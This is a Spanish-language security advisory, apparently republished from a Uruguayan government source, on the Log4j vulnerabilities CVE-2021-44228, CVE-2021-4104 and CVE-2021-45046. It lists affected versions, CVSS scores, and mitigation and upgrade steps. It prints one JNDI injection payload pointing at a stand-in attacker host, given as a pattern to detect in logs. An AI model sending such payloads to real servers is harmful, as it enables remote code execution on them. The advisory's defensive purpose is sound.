Skip to main content

Durante los últimos días se publicaron múltiples vulnerabilidades que afectan al módulo Log4j de Apache, la más crítica con el CVE 2021-44228 es una vulnerabilidad con puntaje CVSS 10/10 que desencadena un Remote Command Execution (RCE) en la librería JNDI existente en la suite de desarrollo JDK.

 

Además, se publicaron las vulnerabilidades CVE 2021-4104 y CVE 2021-45046, la primera del tipo RCE para aquellas que implementen JMSAppender  JMSBroker,  y la segunda, de ser explotada, puede generar una denegación de servicios (DoS).

 

Estas vulnerabilidades afectan a múltiples sistemas como VMware HorizonApache TomcatAtlassian ConfluenceRed Hat OpenShift, entre otros.

 

Detalles técnicos

 

CVE-2021-44228

Productos afectados

 

Versiones

Log4j 2.0 a 2.14.1

 

La vulnerabilidad de tipo RCE ocurre debido a que la función “log4j2.formatMsgNoLookups” existente en la librería JNDI de Java, no realiza un correcto control del valor cargado. Quien ataca puede enviar una petición especialmente diseñada para lograr que el servidor afectado descargue y almacene una clase Java maliciosa, la cual le permite ejecutar código arbitrario sobre el servidor afectado.

 

La carga útil (payload) utilizada para realizar el ataque cumple con el siguiente formato, el cual puede ser identificado en la URI almacenada en las trazas de auditoría:

${jndi:ldap://atacante01.com/fichero01}

 

Existen múltiples pruebas de concepto que demuestran la facilidad y el impacto de dicha vulnerabilidad.

 

CVE-2021-4104

Productos afectados

 

Versiones

Log4j 1.x

 

La vulnerabilidad de tipo RCE solo afecta a las aplicaciones que están configuradas específicamente para usar JMSAppender, que no es el predeterminado, o cuando quien ataca tiene acceso de escritura a la configuración de Log4j para agregar JMSAppender al JMS Broker del atacante.

 

Quien ataca puede enviar una petición especialmente diseñada para lograr que el servidor afectado descargue y almacene una clase Java maliciosa, la cual le permite ejecutar código arbitrario sobre el servidor afectado.

 

Si la configuración de Log4j se establece en configuraciones TopicBindingName TopicConnectionFactoryBindingName que permiten a JMSAppender realizar solicitudes JNDI que dan como resultado la ejecución remota de código.

 

CVE-2021-45046

Productos afectados

 

Versiones

Log4j 2.0 beta 9 a 2.12.1
Log4j 2.13.0 a 2.15.0

 

Abusando de la vulnerabilidad CVE 2021-44228 quien ataca podría inyectar código en el modulo Thread Context Map (CTX) generando un DoS.

 

Métricas CVSS

 

Vulnerabilidad SeveridadPuntajeVector

 

CVE-2021-44228 Crítica 10 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE-2021-4104 Media 6.6 CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
CVE-2021-45046 Media 3.7 CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

 

Mitigaciones

 

Para las versiones 2.0 a la 2.15.0

 

En caso de no utilizar la clase JndiLookup, es posible eliminar la misma para mitigar el riesgo:

$ zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

 

Mas información en Apache Logging

 

Para la version 2.12.1 sobre Java 7

 

Es posible actualizar a la versión 2.12.2 sin necesidad de actualizar el kit SDK de Java 7 desde este repositorio de Apache.

 

Para las versiones 1.x

 

Eliminar la clase JMSAppender de la ruta de clases. Por ejemplo: zip -q -d log4j – *. jar org / apache / log4j / net / JMSAppender.class

 

Restringir el acceso del usuario del sistema operativo en la plataforma que ejecuta la aplicación para evitar que el atacante modifique la configuración de Log4j.

 

Recomendaciones

 

Para todas las versiones se recomienda actualizar Log4J a la versión 2.16 cuanto antes o la version 2.12.2 para el caso de Java 7.

 

Es importante aclarar y tener en cuenta que  las versiones 1.x están en su ciclo final de vida.

 

Fuente: gub.uy